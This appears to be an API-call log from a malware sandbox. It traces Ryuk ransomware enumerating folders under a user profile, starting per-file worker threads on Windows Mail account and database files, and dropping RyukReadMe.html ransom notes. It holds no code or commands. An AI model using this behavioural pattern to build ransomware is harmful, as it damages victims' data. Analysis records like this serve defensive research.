	[0267.005] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0
	[0267.005] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0267.005] SetLastError (dwErrCode=0x0) 
	[0267.005] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0267.005] GetLastError () returned 0xb7
	[0267.005] CloseHandle (hObject=0x74c) returned 1
	[0267.006] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1
	[0267.006] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0
	[0267.006] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0267.006] SetLastError (dwErrCode=0x0) 
	[0267.006] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0267.006] GetLastError () returned 0xb7
	[0267.006] CloseHandle (hObject=0x6f8) returned 1
	[0267.007] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0267.007] SetLastError (dwErrCode=0x0) 
	[0267.007] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0267.007] GetLastError () returned 0xb7
	[0267.007] CloseHandle (hObject=0x6f8) returned 1
	[0267.007] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0267.009] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.009] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x1de, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0267.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0267.012] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.013] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0267.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748
	[0267.014] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.015] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x1de, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0267.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0267.017] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0267.017] SetLastError (dwErrCode=0x0) 
	[0267.017] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x760
	[0267.018] GetLastError () returned 0x0
	[0267.018] WriteFile (in: hFile=0x760, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0267.020] CloseHandle (hObject=0x760) returned 1
	[0267.020] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0267.021] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.021] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1
	[0267.021] SetLastError (dwErrCode=0x0) 
	[0267.021] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c
	[0267.022] GetLastError () returned 0x0
	[0267.023] WriteFile (in: hFile=0x75c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0267.024] CloseHandle (hObject=0x75c) returned 1
	[0267.025] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0267.028] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.028] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x206, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0267.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0267.029] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.030] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x206, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0267.030] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0267.400] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.402] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0267.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4
	[0267.404] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.404] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0267.404] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0267.406] SetLastError (dwErrCode=0x0) 
	[0267.406] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.406] GetLastError () returned 0x3
	[0267.406] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0267.406] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.406] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 0
	[0267.406] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0267.407] SetLastError (dwErrCode=0x0) 
	[0267.407] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x760
	[0267.407] GetLastError () returned 0xb7
	[0267.407] CloseHandle (hObject=0x760) returned 1
	[0267.407] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0267.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0267.410] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.410] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0267.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0267.412] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.413] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0267.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8
	[0267.415] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.415] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0267.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc
	[0267.417] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.417] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0267.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0267.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0267.419] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
